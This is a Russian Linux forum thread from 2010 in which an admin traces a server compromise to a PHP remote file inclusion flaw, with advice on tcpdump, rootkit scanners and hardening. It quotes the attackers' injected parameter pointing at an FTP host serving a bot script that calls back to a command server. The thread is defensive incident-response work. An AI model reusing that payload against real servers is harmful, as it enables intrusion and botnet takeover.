Видео смотреть бесплатно

Смотреть фильмы бесплатно

Официальный сайт travelspo 24/7/365

Смотреть видео бесплатно

19.03.10 23:02 heavyrail

Есть вопрос![РЕШЕНО] Кто-то получил shell-доступ через apache. Что делать?

Какие-то хакеры набрели на мой сервак (Ubuntu 6.06 / Apache 2.0.55), и каким-то образом получили shell-доступ через apache.
Причём на том виртуальном хосте, через который они лезут, нет никаких PHP/Perl и прочих скриптов, значит они эксплуатируют какую-то уязвимость самого сервера.

Но в списке рассылки по безопасности Ubuntu текущих уязвимостей нет.
Так как же мне выяснить хотя бы что они делают, чтобы эксплуатировать дыру?

В логах только вывод в stdout тех shell-команд, которые им удаётся запустить.
Пару раз удавалось перехватить скриптики, которые они закачивают в /tmp. Качают при помощи curl/wget/fetch/lwp-download, я их всех поудалял или переименовал, но это временное решение.

Я хочу найти дыру в apache и как-то залатать ее, или написать багрепорт, но для этого нужно больше данных о тактике взлома.
Как дальше действовать?

РЕШЕНИЕ:
И всё-таки это была уязвимость в моём коде - банальный незащищённый include в PHP-скрипте.
Я долго рыл совсем не в ту сторону, а наставили на путь истинный меня результаты мониторинга трафика.
Исходя из открытых у меня портов, я давал каждый день такую команду:
1
2
sudo tcpdump -s 0 -w /var/log/tcpdump.cap host xxx.xxx.xxx.xxx and port not ftp and port not ssh and port not smtp and port not ftp-data and port not pop3
 

Когда рыбка в очередной раз клюнула, я нашёл-таки зловредный скрипт, и исправил его.
В процессе ценные советы давал, среди прочих, albibek, и особо полезные выдержки из его постов я процитирую ниже под катом. Все остальные подробности смотрите в ветке. Всем участникам обсуждения спасибо!

Если есть место на диске, можно запускать tcpdump не в режиме мониторинга, а в режиме записи в файл. Если остановитесь на этой схеме, лучше даже поставьте wireshark, у него в комплекте есть текстовые утилиты, которые умеют не только собирать в файл, но и разбивать этот файл на части по размеру(советую делать не больше 0.5-1 гигабайта) и по количеству файлов, а старые логи ротировать.
Если хватит места на диске(вполне реально при небольшом количестве трафика), можно хранить дампы хотя бы за несколько дней, чтобы когда появятся полохие дяди, было что анализировать.
Всегда есть вероятность, что дяди найдут ваш tcpdump/wireshark и попортят или сотрут файлы. Поэтому и говорю, что лучше делать это на промежуточном узле.
Ещё если есть время и желание, можете покурить samhain. Замаскируйте его под мирный процесс, может удастся что-то обнаружить, когда начнётся активность.

tcpdump -i <интерфейс> -n -s0 -w <имя_файла_куда_писать> '<фильтр>'
-n - не ресолвить имена и порты
-s0 - (важно!)записывать пакеты целиком, а не первые X байт

Из комплекта wireshark утилита называется dumpcap
dumpcap -n -s 0 -w /tmp/testwire -b filesize:1000000 -b files:5 -f '<фильтр>'
Будет писать в кольцевой буфер из 5 файлов размером 1000000*1024 байт. Т.е. примерно 5 гигабайт в сумме.

Потом как соберёте можно дополнительно фильтровать при помощи editcap и объединять/делить файлы при помощи mergecap.






Born2Crawl 19.03.10 23:20 # +3
Версия апача старовата, может просто обновиться до последней доступной?
Плюс, посмотреть в Metasploit и на http://milw0rm.com/, может там есть какие-то эксплойты для апача твоей версии?
Born2Crawl 19.03.10 23:23 # +0
После устранения их способа проникновения надо же ещё поискать на предмет установленных руткитов или бэкдоров - для этого наверняка есть инструменты, я к сожалению, не в курсе :( Ну, по крайней мере, глазами посмотреть.
cppmm 20.03.10 12:26 # +0
В моём Debian'е есть такие инструменты:
[cppmm@linux ~]$ apt-cache search rootkit
unhide - Forensic tool to find hidden processes and ports
chkrootkit - поиск руткитов
rkhunter - сканер руткитов, уязвимостей и эксплоитов
heavyrail 19.03.10 23:21 # +0
Ну можно из исходников апач собрать. С другой стороны, убунтовцы утверждают, что security-патчи накладывают по возможности и на старые версии. Так что тут надо подумать.
А за ссылки спасибо.
Goury 19.03.10 23:26 # +0
простите за нескромность, но чем вызвана необходимость использования именно такой старой убунты и зачем вообще ради апача убу поднимать?
Goury 19.03.10 23:26 # +0
*ради единственного апача
heavyrail 19.03.10 23:32 # +3
Необходимость использования именно такой старой убунты связана с тем, что нет времени с нуля весь работающий сервак переделывать на новой убунте.
Насчёт единственного апача это Вы сами придумали :) Я такого не писал.
Shtsh 19.03.10 23:36 # +0
Тогда вопрос.
А уверен, что именно через уязвимость в апаче получили shell? Просто из поста этого не понятно и виной какая-то другая дырка.
heavyrail 19.03.10 23:40 # +0
За апач говорят две вещи. Во-первых, вывод зловредных скриптов идёт в /var/log/apache2/error_log. Во-вторых, в списке процессов они видны как запущенные из-под пользователя www-data.
garillka 20.03.10 01:37 # +0
ubuntu можно обновить, а для таких целей как сервер, лучше наверное все таки использовать дистрибутивы ориентированные на безопасность.
Например http://www.openwall.com/Owl/
razum2um 20.03.10 11:24 # +0
чет не могу понять, сколько в шутке доли правды
Owl 2.0 consists of Linux kernel 2.4.x (as maintained by us), glibc 2.3.6 (with our security enhancements), gcc 3.4.5, and over 100 other packages.

херакс
It offers binary- and package-level compatibility for most packages intended for Red Hat Enterprise Linux 4 (RHEL4), CentOS 4, and Fedora Core 3 (FC3). The Owl 2.0 userland supports Linux 2.6.x kernels as well, and it is usable along with OpenVZ (both for the host system and in containers).

однако самое замечательное, что последний релиз Owl-current от 2010/01/28 ...
йо в шоце
razum2um 20.03.10 11:25 # +1
понял!!!
эта система непробиваема просто потому что никто уже не помнит, какие там баги...
liksys 20.03.10 12:20 # +0
Эта система непробиваема за счет стабильности и выполизанности компонентов. Сразу видно, с нормальными серверами вы дел не имели.
razum2um 20.03.10 13:00 # +0
да правда ваша, просто я никогда не думал, что есть люди откапывающие старые исходники с собирающие (это ядро и gcc, понятно, хранятся по историческому принципу, из каких архивов остальное?!)
и реально интересно, где такие сервера работают...
liksys 20.03.10 14:04 # +0
пардон, нечаянно, ентер задел)
gcc на сервера вообще нельзя ставить. собрал - снес подчистую. потому как имея компилятор и уязвимое ядро, можно под конкретную систему собрать эксплоит.
liksys 19.03.10 23:45 # +1
Во-первых, тушите сервер до выяснения причин. Поищите файлы, которые явно вам не принадлежат. Обновляйте apache, однозначно. Поставьте SELinux.
Поищите в систему руткиты, левых пользователей, кроновые скрипты, замены стандартных программ типа passwd, su, sudo и т.д.
На вскидку, истребители руткитов: chkrootkit, rootkit hunter.
heavyrail 19.03.10 23:47 # +0
Потушить бы рад, да начальник не поймёт :) Поэтому и стараюсь "перебрать на горячую".
liksys 19.03.10 23:48 # +0
На горячую велика вероятность, что вы что-то упустите, потому как кто-нить сможет орудовать на вашей системе.
Born2Crawl 19.03.10 23:52 # +0
Не, ну поставить обновлённую версию апача и рестартануть его-то можно? На крайняк ребутнуть сервер по-быстрому.
liksys 19.03.10 23:58 # +0
В системе могли остаться какие-нить скрипты. Тогда все по-кругу пойдет. Если действовать по правилам, уязвимую систему нужно отключать. Вынимать диски и изучать уже из другого компа, не скомпрометированного.
Born2Crawl 20.03.10 00:14 # +0
Автор не может сейчас останавливать сервак, хотя, конечно это было бы предпочтительным решением. А про бэкдоры и руткиты я уже упомянул выше, но их можно искать и на работающей системе - главное устранить первоначальную причину проникновения.
liksys 19.03.10 23:47 # +4
В срочном порядке выкидывайте свою древнюю убунту. В тамошних ядрах были уязвимости, которые без особого труда давали рута в оболочку.
heavyrail 19.03.10 23:49 # +1
Оно конечно правильно, может быть. Но неужели каждый год убунту на работающем серваке обновлять? Как-то это неправильно. Security-патчи к ней до 2011 года должны выходить, вот я и хотел дотянуть. У вас есть пруфлинк на незакрытые патчами уязвимости ядра в 6.06?
liksys 19.03.10 23:53 # +2
> У вас есть пруфлинк на незакрытые патчами уязвимости ядра в 6.06?
К сожалению нет, названия уязвимости не вспомню.Помню, что до 22 или 26 ядра включительно все было уязвимо.

И на счет убунты, это не самый лучший кандидат на роль сервера. Вам нужен RHEL, CentOS или Debian, если оно ближе.
Born2Crawl 19.03.10 23:56 # +2
И на счет убунты, это не самый лучший кандидат на роль сервера.


Это почему? Не спора ради. У меня лично на убунте никакие серверов нет, просто интересно мнение.
liksys 20.03.10 00:05 # +2
Как минимум потому, что это в первую очередь десктопный дистрибутив. Программы часто внедряют новые, непротестированные основательно, в то время как CentOS или StartCom обновляют репозитории в большинстве случаев секьюрити-патчами. Слабая система безопасности (AppArmor менее надежен, чем SELinuxm хоть и проще в настройке).
heavyrail 20.03.10 00:16 # +2
Так выпускают же секьюрити-патчи. И какие именно серверные непротестированные основательно программы внедряют в десктопной Убунте?
liksys 20.03.10 00:20 # +1
Когда выходит свежая версия, скажем, постгреса, ее моментально включат в дистрибутив. Потестят может недельку, и ок. Для серверных дистрибутивов так делать нельзя.

Давайте не будем развивать флейм. Это просто аксиома.
vkotovv 20.03.10 08:20 # +0
На сколько я помню, в обновлениях приходят только security-патчи. Есть репозиторий backports, но его можно отключить, и там мало чего обновляется. А новые версии программ (тот же postgre) включаются только при следующем релизе дистрибутива Ubuntu. Поправьте если не так.
liksys 20.03.10 12:18 # +0
Новые версии программ включаются по мере их выхода.
heavyrail 20.03.10 12:29 # +0
Ну всё-таки по сравнению с Arch ребята из Ubuntu - консерваторы :)
liksys 20.03.10 14:05 # +0
Все познается в сравнении. Но Ubuntu слишком новатораская дла серверов, как ни крути.
digiwhite 20.03.10 09:48 # +1
Как минимум потому, что это в первую очередь десктопный дистрибутив.

Опять же не срача ради: Ubuntu Server Edition.
Я правда допускаю, что на тот момент (2006 год как я понимаю) небыло еще серверной редакции.
liksys 20.03.10 12:18 # +0
Непроверенное, сырое решение
digiwhite 20.03.10 12:35 # +0
Непроверенное где и кем? Кто эталон?
liksys 20.03.10 14:02 # +0
Непроверенное временем.

Эталон - RHEL.
digiwhite 20.03.10 17:46 # +0
В принципе согласен. Сомнительно разве что RHEL будет тестировать Ubuntu Server Edition.
liksys 20.03.10 18:17 # +0
Я к тому, что RHEL - эталон серверных дистров и де-факто стандарт. Кроме него, пожалуй, только Debian
digiwhite 20.03.10 18:48 # +0
Аа, в этом смысле :). Все равно - это не повод забить и не делать серверную версию :).
heavyrail 20.03.10 00:19 # +0
И всё-таки, вернёмся к исходной теме. Если не принимать во внимание радикальные меры вроде выкинуть убунту, и предположить, что виноват именно апач (аргументы я приводил выше), есть ещё методы выявления уязвимости кроме поиска по Metasploit http://milw0rm.com/ ? Может ещё какие-нибудь базы эксплойтов?
Born2Crawl 20.03.10 00:45 # +2
Для такой старой версии маловероятно, что найдут какую-то zero day vulnerability. То есть, используется что-то известное.
Вот этот не пробовал применить?
Вон ещё что-то гугл находит...

Вот просто список известных уязвимостей версии 2.0:
http://httpd.apache.org/security/vulnerabilities_20.html
Born2Crawl 20.03.10 00:47 # +1
+ http://www.securityfocus.com/bid/19204/info, http://www.securityfocus.com/bid/14106
heavyrail 20.03.10 11:06 # +0
Спасибо, надо будет попробовать, как разгребусь с параллельными делами. Пока что я, как уже писал, ограничился обрубанием инструментов скачивания. Атакующие, похоже, с другой стороны планеты, сейчас у них ночь, можно, пока их нет, поупражняться с эксплойтами.
liksys 20.03.10 12:22 # +1
Кстати, посмотрите по логам, кто это, и побаньте весь диапазон.
heavyrail 20.03.10 12:29 # +0
Так вот не вижу я в логах их IP, в этом и проблема.
Jazz 20.03.10 22:34 # +0
Уязвимостей то навалом и они старые, инетересно почему на сервере стоит такая версия? Неужели из репозиториев не убирают дырявые версии?
dr_magnus 20.03.10 01:55 # +4
на вскидку:
1. nmap - ищем открытые вовне порты, которые явно не предусмотрены быть открытыми
2. tcpdump - ручками и глазками начинаем мониторить трафик, постепенно отсеивая легальный и пытаемся найти нелегальный. если ваша система скомпрометирована, то рано или поздно он появится
3. локализация проблемы - ну тут уж однозначного совета дать нельзя. действуйте по обстоятельствам - отслеживайте куда/откуда/как/кем/какой программой
4. нашли - убивайте
это мой сисадминский практический опыт по выявлению нарушителей в локальной сети. с небольшими поправками можно применить и к вашей ситуации.
удачи!!!
dr_magnus 20.03.10 02:03 # +4
забыл:
2.1 netstat - какие проги ждут/ожидают/установили соединение и на каком порту. тоже здорово помагает
heavyrail 20.03.10 11:08 # +0
По nmap и netstat уже давно шерстил - всё чисто.
Локализация - вроде локализовал, апач. Убить апач не могу :) Но дырку в нём найти хочу.
А насчёт tcpdump хотелось бы поподробнее. Как им грамотно ловить HTTP-трафик, чтобы не потонуть в потоке информации?
dr_magnus 20.03.10 16:54 # +0
ну здесь очень широкое поле деятельности - я когда нарушителя отлавливал правила на несколько строк составлял.
вот парочка примеров:
tcpdump not port ssh

здесь мы указываем отлавливать весь трафик на всех интерфейсах, но при этом исключаем все ssh-сессии
tcpdump not host 192.168.1.10 and not port ssh

тоже самое, что и выше, только еще исключаем свой хост
в общем - начинайте мониторить весь трафик, постепенно исключая легальный. рано или поздно доберетесь до нелегального.
удачи
dr_magnus 20.03.10 17:02 # +0
а по поводу именно HTTP-трафика:
1. отключаем/отсеиваем локальных пользователей
2. включаем tcpdump на http-трафик и смотрим одновременно с логом апача (на всякий случай tail -f /var/log/где_там_лог_апача.log). ну и сравниваем естественно.
занятие долгое но интересное :-)
zorggg 20.03.10 07:53 # +3
to heavyrail
А от какого пользователя у тебя apache работает?Есть ли у этого пользователя оболочка?Как настроен sshd_config?Случайно по пустому паролю не пускает?
heavyrail 20.03.10 11:10 # +0
В SSH аутентификация по паролям отключена. Apache работает под пользователем www-data. В /etc/passwd у него была прописана оболочка /bin/sh, поменял на /bin/false - всё равно удавалось им пройти, насколько я понял. Неужели эта запись не играет роли?
librarian 20.03.10 10:31 # +2
mod_security это для апача, наружу можно вообще nginx какой нибудь выставить, пересобрав его с измением Server Info. chrootkit и прочее для проверки самого компа
tmp перемонтируем с noexec,nosuid,nodev var/tmp тоже. грамотно расставляем права доступа, чтобы от www-data просто никуда уйти нельзя было. через pam ограничиваем этого юзера, если всё идёт именно от него.
heavyrail 20.03.10 11:14 # +0
mod_security вчера поставил, но пока я не узнаю, как они атаковали, мне сложно будет его настроить на блокировку атак. Кстати, mod_security тоже позволяет менять заголовок Server, но только в случае отсутствия ошибок. Если ошибка - выдаётся истинное имя. Именно так nmap определяет тип сервера.
За /tmp и /var/tmp спасибо, попробую. Хотелось бы подробнее про ограничение юзера www-data в правах.
librarian 20.03.10 12:23 # +1
Там через pam можно, например, выставить ограничение на время исполнения процессов под этим юзером.
Я где то на ibm про всё это читал, сейчас уже не помню точно.

Про SELinux я в рассылке почитал, там набор ссылок предлагают:

Тогда вот цикл статей по SELinux который поможет освоится:

http://sapunidze.blogspot.com/2009/06/selinux-1-selinux.html
http://sapunidze.blogspot.com/2009/06/selinux-2-pam-sepermit.html
http://sapunidze.blogspot.com/2009/06/selinux-3-permissive-mode-vs-permissive.html
http://sapunidze.blogspot.com/2009/07/selinux-4-selinux.html
http://sapunidze.blogspot.com/2009/07/selinux-5-selinux-rbac.html
http://sapunidze.blogspot.com/2009/07/selinux-6-selinux.html
http://sapunidze.blogspot.com/2009/07/selinux-7-su-newrole-sudo-runinit.html
http://sapunidze.blogspot.com/2009/07/selinux-8-unconfined.html
http://sapunidze.blogspot.com/2009/07/selinux-9.html
http://sapunidze.blogspot.com/2009/07/selinux-10.html

heavyrail 20.03.10 12:50 # +0
Спасибо!
librarian 20.03.10 13:02 # +0
Ещё бы я включил tcpdump и смотрел бы что вообще на сервере происходит.
MindLess 20.03.10 12:37 # +2
Вы уверены, что нет никаких "PHP/Perl и иных скриптов"? Просто похожая ситуация с апачем наблюдалась при использовании дырявой версии почтовой веб-морды RoundCube Mail. Из-за дырки в одном из скриптов веб-морды, появлялась возможность загрузки в /tmp сплоитов, которые вызывались с правами www-data.
heavyrail 20.03.10 12:49 # +0
О, действительно нашёл в недрах RoundCube. Правда, на другом виртуальном хосте. Видимо, пытался раньше его ставить, да не доделал. Тем не менее уже стояла блокировка - доступ только из локалки. Снаружи честно говорит 403 Forbidden.
А где можно подробнее почитать про этот эксплоит?
MindLess 20.03.10 12:57 # +0
Версия RoundCube ниже 0.2 beta помоему...
Гугл сразу дает вагон ссылок http://www.google.ru/search?q=roundcube+exploit
Я вопрос решил снеся вообще роундкуб. Я дырявую версию поставил в стремлении получить более свежую чем в репах...
r0di0n 22.03.10 00:23 # +0
спасибо за тему и решение.
exelens 22.03.10 07:57 # +0
Удалось решить вопрос?
Если да то прошу решение в топик добавить, а в заголовок вписать РЕШЕНО
heavyrail 22.03.10 08:31 # +0
Нет, пока не удалось.
albibek 24.03.10 16:50 # +0
Если вам всё ещё нужна помощь, давайте по порядку:
Какие из утилит, которые Вам посоветовали(rkhunter, chkrootkit, tcpdump), вы попробовали?

Есть ли сейчас у злоумышленников доступ на сервер или после чистки они не приходили? Если считаете, что есть, то как определяете?

Если это не тайна, то хотелось бы знать не чего нет на сервере, а что там всё таки есть? Только статика или что-то ещё? Самописное или готовое?

Если не хотите полностью открываться в паблике, я готов вам помочь в частном порядке (бесплатно) пишите в личку.
heavyrail 24.03.10 18:13 # +0
Спасибо за участие!
rkhunter и chkrootkit ничего не нашли. tcpdump-ом пытался собирать трафик в последние несколько дней, но злоумышленники, похоже, оставили попытки. Но они в любой момент могут придти ещё, вот что напрягает.
На сервере не только статика, самописный мини-движок сайта на PHP, также есть AWStats и phpMyAdmin, но в нестандартных каталогах, и с ограничением доступа по IP. Roundcube удалил. Но судя по логам, злоумышленники заходили через тот виртуальный хост, где вообще ничего нет.
Каким-то образом инжектировали shell-код, и давали команды от имени www-data (один раз даже удалось перехватить последовательность команд).
Есть, кстати, ещё и такое подозрение, что они заходят и сейчас, но кардинально поменяли тактику - умудряются прямо из командной строки отправить целое письмо, ошибок нет, значит в stdout ничего не идёт, в логи тоже. Просто в очереди скопилось много писем бразильским адресатам, которые пытаются периодически переотправляться - и я не знаю, с прошлых раз это, или свежачок. Пока почистил, буду дальше смотреть.
heavyrail 24.03.10 19:18 # +0
В дополнение. Пробовал анализировать и применять различные эксплойты, из предложенных тут. Либо по каким-то причинам не подходит, либо делает не то, что "надо".
albibek 25.03.10 10:19 # +1
Логи сможете показать?
В движке уверены, что через него нельзя было влезть?
Есть ли возможность ловить трафик не на самом сервере, а снаружи, например через миррор-порт на свитче/роутере или на фаерволле/прокси?
Если есть место на диске, можно запускать tcpdump не в режиме мониторинга, а в режиме записи в файл. Если остановитесь на этой схеме, лучше даже поставьте wireshark, у него в комплекте есть текстовые утилиты, которые умеют не только собирать в файл, но и разбивать этот файл на части по размеру(советую делать не больше 0.5-1 гигабайта) и по количеству файлов, а старые логи ротировать.
Если хватит места на диске(вполне реально при небольшом количестве трафика), можно хранить дампы хотя бы за несколько дней, чтобы когда появятся полохие дяди, было что анализировать.
Всегда есть вероятность, что дяди найдут ваш tcpdump/wireshark и попортят или сотрут файлы. Поэтому и говорю, что лучше делать это на промежуточном узле.
Ещё если есть время и желание, можете покурить samhain. Замаскируйте его под мирный процесс, может удастся что-то обнаружить, когда начнётся активность.
heavyrail 25.03.10 15:29 # +0
У меня некоторые успехи. На ночь оставил tcpdump с такими же ключами, как Вы рекомендовали, и на этот раз злоумышленники попались!
Увы, заходили они совсем не на тот хост, про который я думал, и делали PHP-инъекцию. Только я не совсем понимаю, как.
В качестве параметра они передавали вот такую строку: topic=ftp://189.19.36.105/temp/pz.txt???
pz.txt - это шеллкод, можно скачать и ознакомиться (или могу выложить сюда), открывает шелл на порту 8060.
Проблема в том, что я не понимаю, как им удалось его загрузить?
Я сталкивался с подобными инъекциями и ранее, и теперь параметр topic пропускаю через фильтр. Кроме одного уязвимого места, которое выглядит как <? echo $alltopics[$topic] ?>, то есть просто осуществляет выборку из ассоциативного массива. Как же им удалось, подсунув туда левую строчку, заставить грузиться скрипт? Есть интересные моменты. Если я в браузере ввожу адрес с такой "бомбой" - ведёт себя так, как будто долго что-то грузит, но к шеллу присоединиться не удаётся. Если же убрать три вопросительных знака в конце, то выводится сообщение об ошибке, как и положено. Но если хоть один знак остаётся - тогда опять зависон. Вот сижу, думаю, как это распутать.
albibek 25.03.10 23:17 # +1
Эта уязвимость называется RFI - Remote File Inclusion

Можете почитать тут
Как бороться - тут
heavyrail 26.03.10 18:18 # +0
Почитал, осознал, сделал выводы. Спасибо!
albibek 25.03.10 23:20 # +1
Если сами не разберётесь, дайте или весь уязвимый скрипт или хотя бы побольше строчек - тогда можно будет разобраться. По одной строке очень сложно понять, как оно инклюдится.
heavyrail 26.03.10 18:20 # +0
Кажется, разобрался - был банальный include всё же. Как я уже говорил, параметры, передаваемые скрипту, в теории фильтровались, да вот только фильтрация почему-то не работала, как оказалось. Исправил, вроде заработало.
Возможно, на будущее налажу систему сбора трафика в кольцевой буфер на основе Ваших советов. У меня только самописные всякие костыли были, отслеживающие только подозрительные HTTP-запросы.
albibek 25.03.10 23:25 # +1
А, и ещё: скачайте себе сам скрипт бота по ссылке на ftp - посмотреть, как устроено и что он ещё умеет :).
Если к тому времени прикроют - скажите, я себе скачал уже.
heavyrail 25.03.10 23:29 # +0
Спасибо за ссылки, завтра буду изучать.
Скрипт я себе тоже уже скачал, похоже он делает не то, о чём я изначально написал: не на моём серваке шелл открывает на порту 8060, а наоборот коннектится к какому-то другому серваку, похоже, на Amazon EC2, у которого какой-то специфический шелл на 8060 (можно зайти телнетом :)), но что там дальше - пока не знаю.
albibek 26.03.10 10:40 # +0
Этот скрипт - бот с достаточно типичной структурой. Он коннектится на амазон, чтобы получать команды, которые он потом исполняет на Вашем хосте. Скорее всего сами злоумешленники к Вам на хост и не заходили. Бот сам умеет скачивать скрипты в /tmp и при их помощи проводить (D)DoS-атаки, слать спам или, например, обновляться(смотрел мельком, но если умеет обновляться, туда можно забивать любой функционал). Причём поскольку скрипт запускается в контексте apache, в списке процессов будет просто на 1 httpd больше.
albibek 25.03.10 10:57 # +2
tcpdump -i <интерфейс> -n -s0 -w <имя_файла_куда_писать> '<фильтр>'
-n - не ресолвить имена и порты
-s0 - (важно!)записывать пакеты целиком, а не первые X байт

Из комплекта wireshark утилита называется dumpcap
dumpcap -n -s 0 -w /tmp/testwire -b filesize:1000000 -b files:5 -f '<фильтр>'
Будет писать в кольцевой буфер из 5 файлов размером 1000000*1024 байт. Т.е. примерно 5 гигабайт в сумме.

Потом как соберёте можно дополнительно фильтровать при помощи editcap и объединять/делить файлы при помощи mergecap.

Посты Комментарии
Последние посты
    Посты Комментарии
    Последние комментарии
      Посты Комментарии
      Изменения
        Посты Комментарии Изменения Черновики Избранное
        Черновики (все)
          Посты Комментарии Изменения Черновики Избранное
          Избранное (всё)
            Посты Комментарии Изменения Черновики Избранное
            Лучшие блоги (все 151)
            Топ пользователей Топ блогов
            Топ пользователей Топ блогов
            Элита (все 3048 из 225 городов)
            Топ пользователей Топ блогов
            В сети: opium_inside, shidoh

            Новенькие: garry, PaulAxe, esko, sax, COBRA
            welinux.ru

            В хорошем качестве hd видео

            Онлайн видео бесплатно


            Смотреть русское с разговорами видео

            Online video HD

            Видео скачать на телефон

            Русские фильмы бесплатно

            Full HD video online

            Смотреть видео онлайн

            Смотреть HD видео бесплатно

            School смотреть онлайн